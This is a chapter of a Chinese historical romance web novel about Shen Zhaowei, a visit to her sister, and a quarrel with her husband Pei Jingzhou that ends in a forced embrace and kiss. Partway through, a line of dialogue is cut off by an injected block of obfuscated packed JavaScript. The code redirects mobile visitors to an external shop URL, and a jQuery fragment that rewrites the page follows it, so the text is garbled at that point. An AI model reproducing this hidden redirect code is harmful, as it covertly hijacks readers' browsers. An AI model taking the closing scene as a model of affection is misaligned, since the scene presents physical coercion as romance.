今天起得迟,到了大姐姐家,接近晌午,姐妹俩坐下叙了会话,午饭便现成了,沈照微顺势而为,留下来吃顿午饭。
大姐姐家是个儿子,十二三岁的年纪,随了大姐夫,脑子灵活,读书厉害,明年准备考驰名中原的白马书院,于是更较平常十倍刻苦用功。
沈照微难得来一趟,沈映舒原来想把儿子从书房叫过来,见一见人、说一说话,沈照微含笑拦住:“咱们是一家人,何必兴师动众的,倒显得见外了。功课要紧,让他安心念书吧。等明年他成功考入书院,想见多少回都能见。”
因此,沈映舒作罢。
茶余饭后,沈照微正式跟大姐夫表明来意:“早知道姐夫对兵器研究很深,没几个月是将军的生日,我想送他一把匕首,能否请姐夫帮忙绘一绘图纸?完了我请人照着它来打。”
大姐夫慷慨道:“顺手的事,干嘛这么客气?只要你和妹夫过得好,慢说是一张图纸,我直接上手打了给妹夫,也没什么不行的。”
沈映舒抿嘴笑道:“三妹夫可比你在行多了。你打的兵器,人家用着未必趁手。”
大姐夫笑道:“我就是一个比喻,三妹知道我什么意思。”
沈照微道:“姐夫的心意,我都记着呢。”
大姐夫言归正传,问她关于匕首的各种想法。
“我也不懂这些,”她如实道,“全权交给姐夫来定夺吧,不用参考我的意见了,我相信姐夫的眼光。”
“那成,我回去琢磨琢磨。有结果了,我派个人把东西送到府上。”
这就算达成共识了。
姐夫起身回书房研究这事。而沈照微也不急着回家,仍坐着,姐俩继续品茗闲聊。
姐妹在一处的时光总是短暂,不知不觉,夕阳西下。
沈映舒握着她的手不愿意松开:“你多待待,晚饭也在这用吧,我感觉有好多话想跟你说呢。”
沈照微刚想答话,门开了,走进一个小丫鬟,说:“夫人,三姑娘,三姑爷来了,接三姑娘回家。”
沈照微疑心是听错了,问那丫鬟:“你看清楚了,真是他来了?”
小丫鬟用力点头:“不止看清楚了,这些话就是三姑爷一字一句对我说的。”
沈映舒道:“那别傻愣着了,快把人请过来。”
小丫鬟回头望望外边。沈家姐妹也跟着望出去,见裴惊昼信步行来。
沈照微不觉站起来,沈映舒也站起来笑脸相迎:“真是稀客,快坐快坐!妹夫吃茶是什么口味?”
裴惊昼自然地站到沈照微身侧,没有要坐的意思:“我不渴,不用上茶了。”而后对沈照微说:“你这个表情,敢情是埋怨我来得不是时候?”
沈照微手里捏着手帕子,不由去撕扯左右拉扯它,声音小小的:“你不是不理我吗?又来做什么……”
裴惊昼道:“还不是母亲,又给我说了一顿。我不来,交得了差吗?”
沈照微心中郁郁,口吻有点赌气的意思:“我出发前,已跟母亲说过了,你尽管忙你的,我自己能回去。你犯不着不情不愿地走这一遭。”
沈映舒看出端倪,走上来轻轻拉住沈照微的胳膊,圆场:“妹夫来得这般急,想必是亲家夫人看妹妹出来许久,担心了。好了,那我不留你了,你就随妹夫回吧。”
裴惊昼冲沈映舒点头示意。
沈照微回挽住沈映舒的手,说:“我出来前儿,婆母特意嘱咐我,咱们难得聚,我在这里吃了晚饭再回,也无伤大雅。”她的视线不留痕迹地带过裴惊昼,“我也是这么想。将军若是有急事在身,可以先行回去,婆母不会责怪的。”
裴惊昼皱眉道:“我好不容易来一次,又撵我走?”
沈照微道:“我哪里是这个用意?我是怕将军因我耽误了正事。”
裴惊昼道:“现在,接你回家,就是正事。”
沈照微转头正眼瞧他:“我只是陪大姐大姐夫吃个饭,婆母也是事先允许了的,将军何必一再执着于带我走?”
局面紧张,沈映舒赶紧当和事佬:“一顿饭罢了,随时都可以吃。妹夫既然来了,妹妹你也别犟了,一块回家吧。”
说着,把她的手交至裴惊昼面前。
裴惊昼动作比思维快,展开手掌,接住了她的手。
沈映舒笑道:“小夫妻两个闹点矛盾很正常,说开了就好了。好啦,趁天没黑透,快回吧。哦,还有,妹妹你拜托你姐夫的事,你也不用老想着,我替你惦念着,有信儿第一时间知会你。”
大姐极力撮合,沈照微不好辜负人家,由裴惊昼牵她离开。
裴惊昼是骑马来的,要回了,他把马与文远照管,弯腰进了车里。
他坐定,沈照微则偏一偏身子,避免正面对着他。
裴惊昼道:“刚才你大姐说要及时知会你的事,是什么?”
沈照微淡淡道:“一些琐碎杂事而已。”
“真像你说的,平平无奇,你大姐干嘛强调第一时间告知你?”裴惊昼嗤的一笑,“扯谎也扯不到位。”
沈照微依然淡淡的:“你信就是,不信便罢。”
凝视她微微鼓起的侧脸片刻,裴惊昼前倾身躯,两手肘支在膝盖上,双手自然合拢,嘴边漫出一抹玩味的弧度:“你是在报复我么?”
沈照微疑惑地偏头看他:“何出此言?”
“昨晚我没理你,今天你不给我好脸色看。”他借机审视她,“不是报复,又是什么?”
沈照微觉得可笑:“你想多了,我只是出来大半日,乏了。”
“还不承认?”他抽起手臂,搁在脑后,头枕内壁,从平视她变为睨视她,“行,你若不是蓄意报复,那我打今儿起搬出去住,你没有异议吧?”
沈照微一愣,旋即一疑:“你准备搬去哪?”
裴惊昼挑挑眉:“院子那么大,空屋子一只手都数不过来,我去哪容不下我?”
他们的院子是裴府里最宽敞的,跟以往她在家住的院子相比,大了足足一倍。
胸中莫名堵得慌。沈照微尽量不露出异样,问道:“你有这种想法,和父亲母亲商议过了吗?他们二老同意?”
裴惊昼意气十足道:“我这么大个人了,愿意住哪,没人管得了我。”
胸腔里似乎燃起了一簇簇小火苗,烤得她头脑发热,学着他的语气道:“那你都决定好了,再反过来问我,有什么意义?左右没人能管你,自然我说过的话,于你而言,仅仅是耳旁风罢了。”
他不置可否,反问:“你就不问问,我出于哪种原因搬出去?”
“你要想说,自然会说。不想说,我问到底也是白搭。”
“一个大屏风横在屋子里,碍眼。不若我自己出去单住,非但眼不见心不烦,最主要的是,成全了你我互不干涉的约定,守住了男女大防。”他不明不白地笑了一下,“一箭双雕,何乐而不为?”
是啊,有言在先,一年以后,必然要一拍两散的。现下分开各自居住,井水不犯河水,是最好的出路。
可明知道理如此,心头仍旧闪过了一丝惆怅。
她努力忽略此刻自己的反常,微微一笑:“也好。”
裴惊昼眯起眼:“你就没有其他的话想说?”
她缓缓摇头:“没有。”
裴惊昼垂下双臂,正襟危坐:“一句也没有?”
她摇头:“你决定了,我便全依你。”
炙热的注视投过来,笼住了她的眉眼:“只是来你大姐家转了一圈,你就转性了,变得这般听我话了?”
“我父母从小教我,要懂得尊重他人的意愿。我一直如此,从未更改过。”
裴惊昼默然片时,连笑连点头:“好,很好,不愧为沈家三姑娘,贤淑温婉、善解人意。”
后半程,两人谁都没再开口讲话。
到家以后,沉默地填饱肚子,沉默地并肩回房。
裴惊昼吆喝文远到跟前吩咐:“把我的东西通通收起来,挪至书房。”
文远左顾右盼,踌躇不动。
裴惊昼不悦扬眉:“没听见我说话?”
文远扯出一个极其难看的笑脸:“真要搬啊?”
“莫非你以为,我在与你玩笑?”
“可是,傍晚那会儿,夫人才安抚过您,要跟少奶奶夫妻一心,万不可生出嫌隙来。现在您却说搬出去……”顶着裴惊昼一记接一记的冷眼,文远硬着头皮说,“夫人三令五申,我可不敢顶风作案……”
文远一寸一寸往门外挪步,“您如果执意搬走,那您还是先说服老爷夫人。老爷夫人下命令了,我马上喊人过来给您搬。”
战战兢兢的,文远终于够着了门槛,他一脚倒出去,身子隐藏在门框后,光对屋里露着个脑袋,“我先去巡夜了,少爷少奶奶慢慢谈……”
说完,脚底抹油溜走了。
风信见状,慌忙给他们二位腾地方:“哈哈哈……我去灶上看看水烧得怎么样了。”
风信掩门而去。
对于文远顾全自身,而不惜搬出裴夫人镇压自己的行为,裴惊昼冷笑一声,坐到外间椅子上,黑着脸说:“臭小子,越发蹬鼻子上脸了。”
他骂他的随从,并不与她相干。沈照微自觉保持静默,向里间走。
经过他面前时,倏然手腕上感到温温热热地裹了一匝。垂首定睛细看,手腕陷在了一个大掌里。掌纹印皮肤上,略感粗糙。
循着指掌,目光一路向上,撞进了一双漆黑深沉的眸子里。
心头一震,她本能地抽手摆脱这一层束缚,然而换来的是更为严紧的桎梏。
“别动,一会扯疼你了。”罪魁祸首道。
她蜷紧手指,眼里饱含困惑与无助:“有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17857802|210234||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话好好说。动手动脚的,算什么……”
“那好,我问你——”他嘴上说好,手上却抓得更紧,不容有半点松动,“我说不在这住了,你表现得全不在乎。你是真的对此无动于衷,希望我搬走?”
她扭开脸,闭口不谈:“戴了一日的首饰,压得脖子酸。我累了,想卸下来松快松快。”
他不为所动:“你回答了我,我放你去拆卸。”
腕上的重量实在无视不得,她掉过脸去看他:“你觉得在这住得不舒心,想换个环境。你是说一不二的,我自当接受你的决定。”
“自当接受?”他一使力,拽她到身前,“我听出你话里的勉强了。其实你口是心非,不情愿我搬出去,对吧?”
他就在她眼皮子底下,她的面容倒映在他眼睛里,垂眸即见、无比清澈。
“没有勉强,你做什么我都尊重。”心动怦然,她佯装镇定,抽动手腕,脱离眼前的窘境。
他则变本加厉,加上另一只手,按在她后腰处,往他怀里一搂。
她防备不及,身形不稳,一下子匍匐在他身上,胸口撞到他的肩膀,生疼。
“你别这样……”处境太尴尬了,她管不上痛意,手心抵着他肩窝,欲起身,又被他原路按回去。
她脸伏在她耳侧,清晰可闻彼此鬓发摩擦的沙沙声。
“我在问你话,你为何老是避重就轻?为何老是远着我?”低沉的话音,于耳后聚集,嗡嗡作响,使人浑身一僵,不敢轻举妄动,“难道我是什么豺狼虎豹,你多跟我说几句话,多在我面前站一会,我就能把你生吞活剥了去?”
“你先放开,来人看见影响不好……”咫尺之距,经不起任何一点动弹。连声音也不敢大了,假如惊了他,他偏头,自己的嘴唇一定会蹭上他面颊的。
他一手托着她的背,一手擒着她的右手腕,口内泄出声声低笑:“你认清楚形势,你我对外是夫妻,做什么都是名正言顺的。谁敢说三道四、指指点点?”
“那不尽是外人看来的吗?以实际情形,你我的确该当保持距离。”
骤然他抱着她的腰,向外一拉。她的面目,又被他的目光牢牢摄住。
“你一再强调我们该做什么不该做什么,莫不是心中念着其他人?”他说,“是谁?谢扶光?”
无稽之谈,她定然要澄清的:“哪有这回事?我和他自幼相识,是玩伴。我身子弱,他心善,平时对我关照有加。我很感激这份情谊,但也仅限于此。你切勿信口胡诌。”
他唇角分明翘起:“我同你说了这许多话,你无不支支吾吾。我一提他,你便出口成章。看来在你心目中,他的分量很不一般。”
“是不一般,但不是你认为的那种不一般。”一辩起来,她暂时地忘却了难堪,正色道,“总而言之,我与谢公子清清白白。你再信口开河的话,我就……”
他挑眉:“你就怎么样?和母亲告状?还是怄气,跑回娘家藏着,不见我?”
她能想到的几条路,全在他的预料之中。她咬着嘴唇,半晌憋出一段:“事实如此,我能解释的全解释了。你若坚持自己那一套捕风捉影的看法,那我也束手无策。”
“你自称你对他无意,那他对你藏着什么心思,你可别告诉我,你一无所知。”他果然固执,今天这个话题是绕不开了。
她并不想讨论这个,侧开目光:“今晚不是在说你搬不搬的问题吗,和谢公子有什么关系?何苦一直往他头上带。”
“好啊,那我们回归正题——”他捏着她的下巴,朝向自己,“你说心里话,希不希望我搬走?”
砰,砰,砰……心跳急剧加速,鼓噪起来。
她咬着嘴唇闷不吭声——这是她紧张到极致的表现。
她在紧张,而裴惊昼在焦躁,因为她又对他做出了那副凄楚可怜的样子。
“我有说过的吧,以后不要用这种眼神看我……你偏偏不听。”落在她侧腰上的手,迅速收紧,“你是不是觉得,看我一次次因你而烦躁,特别有趣?”
她忙用空着的那只手,找到他卡着自己腰的手,颤声道:“我没有……你别这样……”
男人手臂结实有力,她根本扒拉不开。此举反而起了坏作用,被他视作挑衅。他胜负欲极强,指尖顺着她的腰线游走,一路向上,一把扼住了她的后颈。
“这张嘴也是,吐出来的话,没一句中听的,”冷俊的眉眼一再放大,将视野尽数占据,眼前黯淡无光,“不如闭上的好。”
目不能视,其余几感则灵敏起来——耳畔有两道气息交错缠绕,鼻端有淡淡的皂角香气萦绕不散……更神奇的,唇上覆着一个温温软软的东西,似动非动。
所有的感觉合在一起,传达着一个荒谬不堪的事实:裴惊昼,一直以来,全然不屑于遮掩对她有厌烦之情的人,此时此刻,在轻轻地亲吻她……